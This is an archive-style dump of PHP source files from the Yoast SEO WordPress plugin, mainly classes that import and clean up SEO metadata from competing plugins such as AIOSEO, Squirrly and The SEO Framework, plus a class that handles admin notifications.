				'tw_title'         => 'twitter-title',
				'tw_image'         => 'twitter-image',
			] as $seopressor_key => $yoast_key ) {
			$this->import_meta_helper( $seopressor_key, $yoast_key, $settings, $post_id );
		}

		if ( isset( $settings['meta_rules'] ) ) {
			$this->import_post_robots( $settings['meta_rules'], $post_id );
		}
	}

	/**
	 * Imports the focus keywords, and stores them for later use.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return void
	 */
	private function import_post_focus_keywords( $post_id ) {
		// Import the focus keyword.
		$focuskw = trim( get_post_meta( $post_id, '_seop_kw_1', true ) );
		$this->maybe_save_post_meta( 'focuskw', $focuskw, $post_id );

		// Import additional focus keywords for use in premium.
		$focuskw2 = trim( get_post_meta( $post_id, '_seop_kw_2', true ) );
		$focuskw3 = trim( get_post_meta( $post_id, '_seop_kw_3', true ) );

		$focus_keywords = [];
		if ( ! empty( $focuskw2 ) ) {
			$focus_keywords[] = $focuskw2;
		}
		if ( ! empty( $focuskw3 ) ) {
			$focus_keywords[] = $focuskw3;
		}

		if ( $focus_keywords !== [] ) {
			$this->maybe_save_post_meta( 'focuskeywords', WPSEO_Utils::format_json_encode( $focus_keywords ), $post_id );
		}
	}

	/**
	 * Retrieves the SEOpressor robot value and map this to Yoast SEO values.
	 *
	 * @param string $meta_rules The meta rules taken from the SEOpressor settings array.
	 * @param int    $post_id    The post id of the current post.
	 *
	 * @return void
	 */
	private function import_post_robots( $meta_rules, $post_id ) {
		$seopressor_robots = explode( '#|#|#', $meta_rules );
		$robot_value       = $this->get_robot_value( $seopressor_robots );

		// Saving the new meta values for Yoast SEO.
		$this->maybe_save_post_meta( 'meta-robots-noindex', $robot_value['index'], $post_id );
		$this->maybe_save_post_meta( 'meta-robots-nofollow', $robot_value['follow'], $post_id );
		$this->maybe_save_post_meta( 'meta-robots-adv', $robot_value['advanced'], $post_id );
	}

	/**
	 * Gets the robot config by given SEOpressor robots value.
	 *
	 * @param array $seopressor_robots The value in SEOpressor that needs to be converted to the Yoast format.
	 *
	 * @return array The robots values in Yoast format.
	 */
	private function get_robot_value( $seopressor_robots ) {
		$return = [
			'index'    => 2,
			'follow'   => 0,
			'advanced' => '',
		];

		if ( in_array( 'noindex', $seopressor_robots, true ) ) {
			$return['index'] = 1;
		}
		if ( in_array( 'nofollow', $seopressor_robots, true ) ) {
			$return['follow'] = 1;
		}
		foreach ( [ 'noarchive', 'nosnippet', 'noimageindex' ] as $needle ) {
			if ( in_array( $needle, $seopressor_robots, true ) ) {
				$return['advanced'] .= $needle . ',';
			}
		}
		$return['advanced'] = rtrim( $return['advanced'], ',' );

		return $return;
	}
}
wordpress-seo/admin/import/plugins/class-import-seo-framework.php000064400000003464147510273110021360 0ustar00<?php
/**
 * File with the class to handle data from SEO Framework.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean SEO Framework post metadata.
 */
class WPSEO_Import_SEO_Framework extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'The SEO Framework';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_genesis_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_genesis_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_genesis_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_genesis_noindex',
			'new_key' => 'meta-robots-noindex',
		],
		[
			'old_key' => '_genesis_nofollow',
			'new_key' => 'meta-robots-nofollow',
		],
		[
			'old_key' => '_genesis_canonical_uri',
			'new_key' => 'canonical',
		],
		[
			'old_key' => '_open_graph_title',
			'new_key' => 'opengraph-title',
		],
		[
			'old_key' => '_open_graph_description',
			'new_key' => 'opengraph-description',
		],
		[
			'old_key' => '_social_image_url',
			'new_key' => 'opengraph-image',
		],
		[
			'old_key' => '_twitter_title',
			'new_key' => 'twitter-title',
		],
		[
			'old_key' => '_twitter_description',
			'new_key' => 'twitter-description',
		],
	];

	/**
	 * Removes all the metadata set by the SEO Framework plugin.
	 *
	 * @return bool
	 */
	protected function cleanup() {
		$set1 = parent::cleanup();

		$this->meta_key = '_social_image_%';
		$set2           = parent::cleanup();

		$this->meta_key = '_twitter_%';
		$set3           = parent::cleanup();

		$this->meta_key = '_open_graph_%';
		$set4           = parent::cleanup();

		return ( $set1 || $set2 || $set3 || $set4 );
	}
}
wordpress-seo/admin/import/plugins/class-import-aioseo-v4.php000064400000022156147510273110020404 0ustar00<?php
/**
 * File with the class to handle data from All in One SEO Pack, versions 4 and up.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

use Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Cleanup_Action;
use Yoast\WP\SEO\Actions\Importing\Aioseo\Aioseo_Posts_Importing_Action;

/**
 * Class with functionality to import & clean All in One SEO Pack post metadata, versions 4 and up.
 */
class WPSEO_Import_AIOSEO_V4 extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'All In One SEO Pack';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_aioseo_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_aioseo_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_aioseo_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_aioseo_og_title',
			'new_key' => 'opengraph-title',
		],
		[
			'old_key' => '_aioseo_og_description',
			'new_key' => 'opengraph-description',
		],
		[
			'old_key' => '_aioseo_twitter_title',
			'new_key' => 'twitter-title',
		],
		[
			'old_key' => '_aioseo_twitter_description',
			'new_key' => 'twitter-description',
		],
	];

	/**
	 * Mapping between the AiOSEO replace vars and the Yoast replace vars.
	 *
	 * @var array
	 *
	 * @see https://yoast.com/help/list-available-snippet-variables-yoast-seo/
	 */
	protected $replace_vars = [
		// They key is the AiOSEO replace var, the value is the Yoast replace var (see class-wpseo-replace-vars).
		'#author_first_name' => '%%author_first_name%%',
		'#author_last_name'  => '%%author_last_name%%',
		'#author_name'       => '%%name%%',
		'#categories'        => '%%category%%',
		'#current_date'      => '%%currentdate%%',
		'#current_day'       => '%%currentday%%',
		'#current_month'     => '%%currentmonth%%',
		'#current_year'      => '%%currentyear%%',
		'#permalink'         => '%%permalink%%',
		'#post_content'      => '%%post_content%%',
		'#post_date'         => '%%date%%',
		'#post_day'          => '%%post_day%%',
		'#post_month'        => '%%post_month%%',
		'#post_title'        => '%%title%%',
		'#post_year'         => '%%post_year%%',
		'#post_excerpt_only' => '%%excerpt_only%%',
		'#post_excerpt'      => '%%excerpt%%',
		'#separator_sa'      => '%%sep%%',
		'#site_title'        => '%%sitename%%',
		'#tagline'           => '%%sitedesc%%',
		'#taxonomy_title'    => '%%category_title%%',
	];

	/**
	 * Replaces the AiOSEO variables in our temporary table with Yoast variables (replace vars).
	 *
	 * @param array $replace_values Key value pair of values to replace with other values. This is only used in the base class but not here.
	 *                              That is because this class doesn't have any `convert` keys in `$clone_keys`.
	 *                              For that reason, we're overwriting the base class' `meta_key_clone_replace()` function without executing that base functionality.
	 *
	 * @return void
	 */
	protected function meta_key_clone_replace( $replace_values ) {
		global $wpdb;

		// At this point we're already looping through all the $clone_keys (this happens in meta_keys_clone() in the abstract class).
		// Now, we'll also loop through the replace_vars array, which holds the mappings between the AiOSEO variables and the Yoast variables.
		// We'll replace all the AiOSEO variables in the temporary table with their Yoast equivalents.
		foreach ( $this->replace_vars as $aioseo_variable => $yoast_variable ) {
			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: We need this query and this is done at many other places as well, for example class-import-rankmath.
			$wpdb->query(
				$wpdb->prepare(
					'UPDATE tmp_meta_table SET meta_value = REPLACE( meta_value, %s, %s )',
					$aioseo_variable,
					$yoast_variable
				)
			);
		}

		// The AiOSEO custom fields take the form of `#custom_field-myfield`.
		// These should be mapped to %%cf_myfield%%.
		$meta_values_with_custom_fields = $this->get_meta_values_with_custom_field_or_taxonomy( $wpdb, 'custom_field' );
		$unique_custom_fields           = $this->get_unique_custom_fields_or_taxonomies( $meta_values_with_custom_fields, 'custom_field' );
		$this->replace_custom_field_or_taxonomy_replace_vars( $unique_custom_fields, $wpdb, 'custom_field', 'cf' );

		// Map `#tax_name-{tax-slug}` to `%%ct_{tax-slug}%%``.
		$meta_values_with_custom_taxonomies = $this->get_meta_values_with_custom_field_or_taxonomy( $wpdb, 'tax_name' );
		$unique_custom_taxonomies           = $this->get_unique_custom_fields_or_taxonomies( $meta_values_with_custom_taxonomies, 'tax_name' );
		$this->replace_custom_field_or_taxonomy_replace_vars( $unique_custom_taxonomies, $wpdb, 'tax_name', 'ct' );
	}

	/**
	 * Filters out all unique custom fields/taxonomies/etc. used in an AiOSEO replace var.
	 *
	 * @param string[] $meta_values   An array of all the meta values that
	 *                                contain one or more AIOSEO custom field replace vars
	 *                                (in the form `#custom_field-xyz`).
	 * @param string   $aioseo_prefix The AiOSEO prefix to use
	 *                                (e.g. `custom-field` for custom fields or `tax_name` for custom taxonomies).
	 *
	 * @return string[] An array of all the unique custom fields/taxonomies/etc. used in the replace vars.
	 *                  E.g. `xyz` in the above example.
	 */
	protected function get_unique_custom_fields_or_taxonomies( $meta_values, $aioseo_prefix ) {
		$unique_custom_fields_or_taxonomies = [];

		foreach ( $meta_values as $meta_value ) {
			// Find all custom field replace vars, store them in `$matches`.
			preg_match_all(
				"/#$aioseo_prefix-([\w-]+)/",
				$meta_value,
				$matches
			);

			/*
			 * `$matches[1]` contain the captured matches of the
			 * first capturing group (the `([\w-]+)` in the regex above).
			 */
			$custom_fields_or_taxonomies = $matches[1];

			foreach ( $custom_fields_or_taxonomies as $custom_field_or_taxonomy ) {
				$unique_custom_fields_or_taxonomies[ trim( $custom_field_or_taxonomy ) ] = 1;
			}
		}

		return array_keys( $unique_custom_fields_or_taxonomies );
	}

	/**
	 * Replaces every AIOSEO custom field/taxonomy/etc. replace var with the Yoast version.
	 *
	 * E.g. `#custom_field-xyz` becomes `%%cf_xyz%%`.
	 *
	 * @param string[] $unique_custom_fields_or_taxonomies An array of unique custom fields to replace the replace vars of.
	 * @param wpdb     $wpdb                               The WordPress database object.
	 * @param string   $aioseo_prefix                      The AiOSEO prefix to use
	 *                                                     (e.g. `custom-field` for custom fields or `tax_name` for custom taxonomies).
	 * @param string   $yoast_prefix                       The Yoast prefix to use (e.g. `cf` for custom fields).
	 *
	 * @return void
	 */
	protected function replace_custom_field_or_taxonomy_replace_vars( $unique_custom_fields_or_taxonomies, $wpdb, $aioseo_prefix, $yoast_prefix ) {
		foreach ( $unique_custom_fields_or_taxonomies as $unique_custom_field_or_taxonomy ) {
			$aioseo_variable = "#{$aioseo_prefix}-{$unique_custom_field_or_taxonomy}";
			$yoast_variable  = "%%{$yoast_prefix}_{$unique_custom_field_or_taxonomy}%%";

			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
			$wpdb->query(
				$wpdb->prepare(
					'UPDATE tmp_meta_table SET meta_value = REPLACE( meta_value, %s, %s )',
					$aioseo_variable,
					$yoast_variable
				)
			);
		}
	}

	// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching

	/**
	 * Retrieve all the meta values from the temporary meta table that contain
	 * at least one AiOSEO custom field replace var.
	 *
	 * @param wpdb   $wpdb          The WordPress database object.
	 * @param string $aioseo_prefix The AiOSEO prefix to use
	 *                              (e.g. `custom-field` for custom fields or `tax_name` for custom taxonomies).
	 *
	 * @return string[] All meta values that contain at least one AioSEO custom field replace var.
	 */
	protected function get_meta_values_with_custom_field_or_taxonomy( $wpdb, $aioseo_prefix ) {
		return $wpdb->get_col(
			$wpdb->prepare(
				'SELECT meta_value FROM tmp_meta_table WHERE meta_value LIKE %s',
				"%#$aioseo_prefix-%"
			)
		);
	}

	// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching

	/**
	 * Detects whether there is AIOSEO data to import by looking whether the AIOSEO data have been cleaned up.
	 *
	 * @return bool Boolean indicating whether there is something to import.
	 */
	protected function detect() {
		$aioseo_cleanup_action = YoastSEO()->classes->get( Aioseo_Cleanup_Action::class );
		return ( $aioseo_cleanup_action->get_total_unindexed() > 0 );
	}

	/**
	 * Import AIOSEO post data from their custom indexable table. Not currently used.
	 *
	 * @return void
	 */
	protected function import() {
		// This is overriden from the import.js and never run.
		$aioseo_posts_import_action = YoastSEO()->classes->get( Aioseo_Posts_Importing_Action::class );
		$aioseo_posts_import_action->index();
	}
}
wordpress-seo/admin/import/plugins/class-import-jetpack.php000064400000001333147510273110020211 0ustar00<?php
/**
 * File with the class to handle data from Jetpack's Advanced SEO settings.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_Jetpack_SEO.
 *
 * Class with functionality to import & clean Jetpack SEO post metadata.
 */
class WPSEO_Import_Jetpack_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'Jetpack';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = 'advanced_seo_description';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => 'advanced_seo_description',
			'new_key' => 'metadesc',
		],
	];
}
wordpress-seo/admin/import/plugins/class-import-premium-seo-pack.php000064400000001455147510273110021753 0ustar00<?php
/**
 * File with the class to handle data from Premium SEO Pack.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean Premium SEO Pack post metadata.
 */
class WPSEO_Import_Premium_SEO_Pack extends WPSEO_Import_Squirrly {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'Premium SEO Pack';

	/**
	 * WPSEO_Import_Premium_SEO_Pack constructor.
	 */
	public function __construct() {
		parent::__construct();

		global $wpdb;
		$this->table_name = $wpdb->prefix . 'psp';
		$this->meta_key   = '';
	}

	/**
	 * Returns the query to return an identifier for the posts to import.
	 *
	 * @return string
	 */
	protected function retrieve_posts_query() {
		return "SELECT URL AS identifier FROM {$this->table_name} WHERE blog_id = %d";
	}
}
wordpress-seo/admin/import/plugins/class-import-squirrly.php000064400000012054147510273110020464 0ustar00<?php
/**
 * File with the class to handle data from Squirrly.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean Squirrly post metadata.
 */
class WPSEO_Import_Squirrly extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'Squirrly SEO';

	/**
	 * Holds the name of the table Squirrly uses to store data.
	 *
	 * @var string
	 */
	protected $table_name;

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_sq_post_keyword';

	/**
	 * Data to import from (and the target to field) the serialized array stored in the SEO field in the Squirrly table.
	 *
	 * @var array
	 */
	protected $seo_field_keys = [
		'noindex'        => 'meta-robots-noindex',
		'nofollow'       => 'meta-robots-nofollow',
		'title'          => 'title',
		'description'    => 'metadesc',
		'canonical'      => 'canonical',
		'cornerstone'    => '_yst_is_cornerstone',
		'tw_media'       => 'twitter-image',
		'tw_title'       => 'twitter-title',
		'tw_description' => 'twitter-description',
		'og_title'       => 'opengraph-title',
		'og_description' => 'opengraph-description',
		'og_media'       => 'opengraph-image',
		'focuskw'        => 'focuskw',
	];

	/**
	 * WPSEO_Import_Squirrly constructor.
	 */
	public function __construct() {
		parent::__construct();

		global $wpdb;
		$this->table_name = $wpdb->prefix . 'qss';
	}

	/**
	 * Imports the post meta values to Yoast SEO.
	 *
	 * @return bool Import success status.
	 */
	protected function import() {
		$results = $this->retrieve_posts();
		foreach ( $results as $post ) {
			$return = $this->import_post_values( $post->identifier );
			if ( ! $return ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Retrieve the posts from the Squirrly Database.
	 *
	 * @return array Array of post IDs from the DB.
	 */
	protected function retrieve_posts() {
		global $wpdb;
		return $wpdb->get_results(
			$wpdb->prepare(
				$this->retrieve_posts_query(),
				get_current_blog_id()
			)
		);
	}

	/**
	 * Returns the query to return an identifier for the posts to import.
	 *
	 * @return string Query to get post ID's from the DB.
	 */
	protected function retrieve_posts_query() {
		return "SELECT post_id AS identifier FROM {$this->table_name} WHERE blog_id = %d";
	}

	/**
	 * Removes the DB table and the post meta field Squirrly creates.
	 *
	 * @return bool Cleanup status.
	 */
	protected function cleanup() {
		global $wpdb;

		// If we can clean, let's clean.
		$wpdb->query( "DROP TABLE {$this->table_name}" );

		// This removes the post meta field for the focus keyword from the DB.
		parent::cleanup();

		// If we can still see the table, something went wrong.
		if ( $this->detect() ) {
			$this->cleanup_error_msg();
			return false;
		}

		return true;
	}

	/**
	 * Detects whether there is post meta data to import.
	 *
	 * @return bool Boolean indicating whether there is something to import.
	 */
	protected function detect() {
		global $wpdb;

		$result = $wpdb->get_var( "SHOW TABLES LIKE '{$this->table_name}'" );
		if ( is_wp_error( $result ) || is_null( $result ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Imports the data of a post out of Squirrly's DB table.
	 *
	 * @param mixed $post_identifier Post identifier, can be ID or string.
	 *
	 * @return bool Import status.
	 */
	private function import_post_values( $post_identifier ) {
		$data = $this->retrieve_post_data( $post_identifier );
		if ( ! $data ) {
			return false;
		}

		if ( ! is_numeric( $post_identifier ) ) {
			$post_id = url_to_postid( $post_identifier );
		}

		if ( is_numeric( $post_identifier ) ) {
			$post_id         = (int) $post_identifier;
			$data['focuskw'] = $this->maybe_add_focus_kw( $post_identifier );
		}

		foreach ( $this->seo_field_keys as $squirrly_key => $yoast_key ) {
			$this->import_meta_helper( $squirrly_key, $yoast_key, $data, $post_id );
		}
		return true;
	}

	/**
	 * Retrieves the Squirrly SEO data for a post from the DB.
	 *
	 * @param int $post_identifier Post ID.
	 *
	 * @return array|bool Array of data or false.
	 */
	private function retrieve_post_data( $post_identifier ) {
		global $wpdb;

		if ( is_numeric( $post_identifier ) ) {
			$post_identifier = (int) $post_identifier;
			$query_where     = 'post_id = %d';
		}
		if ( ! is_numeric( $post_identifier ) ) {
			$query_where = 'URL = %s';
		}

		$replacements = [
			get_current_blog_id(),
			$post_identifier,
		];

		$data = $wpdb->get_var(
			$wpdb->prepare(
				"SELECT seo FROM {$this->table_name} WHERE blog_id = %d AND " . $query_where,
				$replacements
			)
		);
		if ( ! $data || is_wp_error( $data ) ) {
			return false;
		}
		$data = maybe_unserialize( $data );
		return $data;
	}

	/**
	 * Squirrly stores the focus keyword in post meta.
	 *
	 * @param int $post_id Post ID.
	 *
	 * @return string The focus keyword.
	 */
	private function maybe_add_focus_kw( $post_id ) {
		$focuskw = get_post_meta( $post_id, '_sq_post_keyword', true );
		if ( $focuskw ) {
			$focuskw = json_decode( $focuskw );
			return $focuskw->keyword;
		}
		return '';
	}
}
wordpress-seo/admin/import/plugins/class-import-headspace.php000064400000001762147510273110020513 0ustar00<?php
/**
 * File with the class to handle data from HeadSpace.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class WPSEO_Import_HeadSpace.
 *
 * Class with functionality to import & clean HeadSpace SEO post metadata.
 */
class WPSEO_Import_HeadSpace extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = 'HeadSpace SEO';

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_headspace_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_headspace_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_headspace_page_title',
			'new_key' => 'title',
		],
		[
			'old_key' => '_headspace_noindex',
			'new_key' => 'meta-robots-noindex',
			'convert' => [ 'on' => 1 ],
		],
		[
			'old_key' => '_headspace_nofollow',
			'new_key' => 'meta-robots-nofollow',
			'convert' => [ 'on' => 1 ],
		],
	];
}
wordpress-seo/admin/import/plugins/class-import-greg-high-performance-seo.php000064400000001371147510273110023516 0ustar00<?php
/**
 * File with the class to handle data from Ultimate SEO.
 *
 * @package WPSEO\Admin\Import\Plugins
 */

/**
 * Class with functionality to import & clean Ultimate SEO post metadata.
 */
class WPSEO_Import_Greg_SEO extends WPSEO_Plugin_Importer {

	/**
	 * The plugin name.
	 *
	 * @var string
	 */
	protected $plugin_name = "Greg's High Performance SEO";

	/**
	 * Meta key, used in SQL LIKE clause for delete query.
	 *
	 * @var string
	 */
	protected $meta_key = '_ghpseo_%';

	/**
	 * Array of meta keys to detect and import.
	 *
	 * @var array
	 */
	protected $clone_keys = [
		[
			'old_key' => '_ghpseo_alternative_description',
			'new_key' => 'metadesc',
		],
		[
			'old_key' => '_ghpseo_secondary_title',
			'new_key' => 'title',
		],
	];
}
wordpress-seo/admin/class-yoast-notifications.php000064400000017204147510273110016277 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Notifications
 */

/**
 * Class Yoast_Notifications.
 */
class Yoast_Notifications {

	/**
	 * Holds the admin page's ID.
	 *
	 * @var string
	 */
	public const ADMIN_PAGE = 'wpseo_dashboard';

	/**
	 * Total notifications count.
	 *
	 * @var int
	 */
	private static $notification_count = 0;

	/**
	 * All error notifications.
	 *
	 * @var array
	 */
	private static $errors = [];

	/**
	 * Active errors.
	 *
	 * @var array
	 */
	private static $active_errors = [];

	/**
	 * Dismissed errors.
	 *
	 * @var array
	 */
	private static $dismissed_errors = [];

	/**
	 * All warning notifications.
	 *
	 * @var array
	 */
	private static $warnings = [];

	/**
	 * Active warnings.
	 *
	 * @var array
	 */
	private static $active_warnings = [];

	/**
	 * Dismissed warnings.
	 *
	 * @var array
	 */
	private static $dismissed_warnings = [];

	/**
	 * Yoast_Notifications constructor.
	 */
	public function __construct() {

		$this->add_hooks();
	}

	/**
	 * Add hooks
	 *
	 * @return void
	 */
	private function add_hooks() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$page = sanitize_text_field( wp_unslash( $_GET['page'] ) );
			if ( $page === self::ADMIN_PAGE ) {
				add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			}
		}

		// Needed for adminbar and Notifications page.
		add_action( 'admin_init', [ self::class, 'collect_notifications' ], 99 );

		// Add AJAX hooks.
		add_action( 'wp_ajax_yoast_dismiss_notification', [ $this, 'ajax_dismiss_notification' ] );
		add_action( 'wp_ajax_yoast_restore_notification', [ $this, 'ajax_restore_notification' ] );
	}

	/**
	 * Enqueue assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		$asset_manager = new WPSEO_Admin_Asset_Manager();

		$asset_manager->enqueue_style( 'notifications' );
	}

	/**
	 * Handle ajax request to dismiss a notification.
	 *
	 * @return void
	 */
	public function ajax_dismiss_notification() {

		$notification = $this->get_notification_from_ajax_request();
		if ( $notification ) {
			$notification_center = Yoast_Notification_Center::get();
			$notification_center->maybe_dismiss_notification( $notification );

			$this->output_ajax_response( $notification->get_type() );
		}

		wp_die();
	}

	/**
	 * Handle ajax request to restore a notification.
	 *
	 * @return void
	 */
	public function ajax_restore_notification() {

		$notification = $this->get_notification_from_ajax_request();
		if ( $notification ) {
			$notification_center = Yoast_Notification_Center::get();
			$notification_center->restore_notification( $notification );

			$this->output_ajax_response( $notification->get_type() );
		}

		wp_die();
	}

	/**
	 * Create AJAX response data.
	 *
	 * @param string $type Notification type.
	 *
	 * @return void
	 */
	private function output_ajax_response( $type ) {

		$html = $this->get_view_html( $type );
		// phpcs:disable WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe.
		echo WPSEO_Utils::format_json_encode(
			[
				'html'  => $html,
				'total' => self::get_active_notification_count(),
			]
		);
		// phpcs:enable -- Reason: WPSEO_Utils::format_json_encode is safe.
	}

	/**
	 * Get the HTML to return in the AJAX request.
	 *
	 * @param string $type Notification type.
	 *
	 * @return bool|string
	 */
	private function get_view_html( $type ) {

		switch ( $type ) {
			case 'error':
				$view = 'errors';
				break;

			case 'warning':
			default:
				$view = 'warnings';
				break;
		}

		// Re-collect notifications.
		self::collect_notifications();

		/**
		 * Stops PHPStorm from nagging about this variable being unused. The variable is used in the view.
		 *
		 * @noinspection PhpUnusedLocalVariableInspection
		 */
		$notifications_data = self::get_template_variables();

		ob_start();
		include WPSEO_PATH . 'admin/views/partial-notifications-' . $view . '.php';
		$html = ob_get_clean();

		return $html;
	}

	/**
	 * Extract the Yoast Notification from the AJAX request.
	 *
	 * This function does not handle nonce verification.
	 *
	 * @return Yoast_Notification|null A Yoast_Notification on success, null on failure.
	 */
	private function get_notification_from_ajax_request() {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: This function does not handle nonce verification.
		if ( ! isset( $_POST['notification'] ) || ! is_string( $_POST['notification'] ) ) {
			return null;
		}
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: This function does not handle nonce verification.
		$notification_id = sanitize_text_field( wp_unslash( $_POST['notification'] ) );

		if ( empty( $notification_id ) ) {
			return null;
		}
		$notification_center = Yoast_Notification_Center::get();
		return $notification_center->get_notification_by_id( $notification_id );
	}

	/**
	 * Collect the notifications and group them together.
	 *
	 * @return void
	 */
	public static function collect_notifications() {

		$notification_center = Yoast_Notification_Center::get();

		$notifications            = $notification_center->get_sorted_notifications();
		self::$notification_count = count( $notifications );

		self::$errors           = array_filter( $notifications, [ self::class, 'filter_error_notifications' ] );
		self::$dismissed_errors = array_filter( self::$errors, [ self::class, 'filter_dismissed_notifications' ] );
		self::$active_errors    = array_diff( self::$errors, self::$dismissed_errors );

		self::$warnings           = array_filter( $notifications, [ self::class, 'filter_warning_notifications' ] );
		self::$dismissed_warnings = array_filter( self::$warnings, [ self::class, 'filter_dismissed_notifications' ] );
		self::$active_warnings    = array_diff( self::$warnings, self::$dismissed_warnings );
	}

	/**
	 * Get the variables needed in the views.
	 *
	 * @return array
	 */
	public static function get_template_variables() {

		return [
			'metrics'  => [
				'total'    => self::$notification_count,
				'active'   => self::get_active_notification_count(),
				'errors'   => count( self::$errors ),
				'warnings' => count( self::$warnings ),
			],
			'errors'   => [
				'dismissed' => self::$dismissed_errors,
				'active'    => self::$active_errors,
			],
			'warnings' => [
				'dismissed' => self::$dismissed_warnings,
				'active'    => self::$active_warnings,
			],
		];
	}

	/**
	 * Get the number of active notifications.
	 *
	 * @return int
	 */
	public static function get_active_notification_count() {

		return ( count( self::$active_errors ) + count( self::$active_warnings ) );
	}

	/**
	 * Filter out any non-errors.
	 *
	 * @param Yoast_Notification $notification Notification to test.
	 *
	 * @return bool
	 */
	private static function filter_error_notifications( Yoast_Notification $notification ) {

		return $notification->get_type() === 'error';
	}

	/**
	 * Filter out any non-warnings.
	 *
	 * @param Yoast_Notification $notification Notification to test.
	 *
	 * @return bool
	 */
	private static function filter_warning_notifications( Yoast_Notification $notification ) {

		return $notification->get_type() !== 'error';
	}

	/**
	 * Filter out any dismissed notifications.
	 *
	 * @param Yoast_Notification $notification Notification to test.
	 *
	 * @return bool
	 */
	private static function filter_dismissed_notifications( Yoast_Notification $notification ) {

		return Yoast_Notification_Center::is_notification_dismissed( $notification );
	}
}

class_alias( Yoast_Notifications::class, 'Yoast_Alerts' );
wordpress-seo/admin/class-plugin-availability.php000064400000024070147510273110016236 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Plugin_Availability
 */

use Yoast\WP\SEO\Conditionals\Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;

/**
 * Class WPSEO_Plugin_Availability
 */
class WPSEO_Plugin_Availability {

	/**
	 * Holds the plugins.
	 *
	 * @var array
	 */
	protected $plugins = [];

	/**
	 * Registers the plugins so we can access them.
	 *
	 * @return void
	 */
	public function register() {
		$this->register_yoast_plugins();
		$this->register_yoast_plugins_status();
	}

	/**
	 * Registers all the available Yoast SEO plugins.
	 *
	 * @return void
	 */
	protected function register_yoast_plugins() {
		$this->plugins = [
			'yoast-seo-premium' => [
				'url'          => WPSEO_Shortlinker::get( 'https://yoa.st/1y7' ),
				'title'        => 'Yoast SEO Premium',
				'description'  => sprintf(
					/* translators: %1$s expands to Yoast SEO */
					__( 'The premium version of %1$s with more features & support.', 'wordpress-seo' ),
					'Yoast SEO'
				),
				'installed'    => false,
				'slug'         => 'wordpress-seo-premium/wp-seo-premium.php',
				'version_sync' => true,
				'premium'      => true,
			],

			'video-seo-for-wordpress-seo-by-yoast' => [
				'url'          => WPSEO_Shortlinker::get( 'https://yoa.st/1y8' ),
				'title'        => 'Video SEO',
				'description'  => __( 'Optimize your videos to show them off in search results and get more clicks!', 'wordpress-seo' ),
				'installed'    => false,
				'slug'         => 'wpseo-video/video-seo.php',
				'version_sync' => true,
				'premium'      => true,
			],

			'yoast-news-seo' => [
				'url'          => WPSEO_Shortlinker::get( 'https://yoa.st/1y9' ),
				'title'        => 'News SEO',
				'description'  => __( 'Are you in Google News? Increase your traffic from Google News by optimizing for it!', 'wordpress-seo' ),
				'installed'    => false,
				'slug'         => 'wpseo-news/wpseo-news.php',
				'version_sync' => true,
				'premium'      => true,
			],

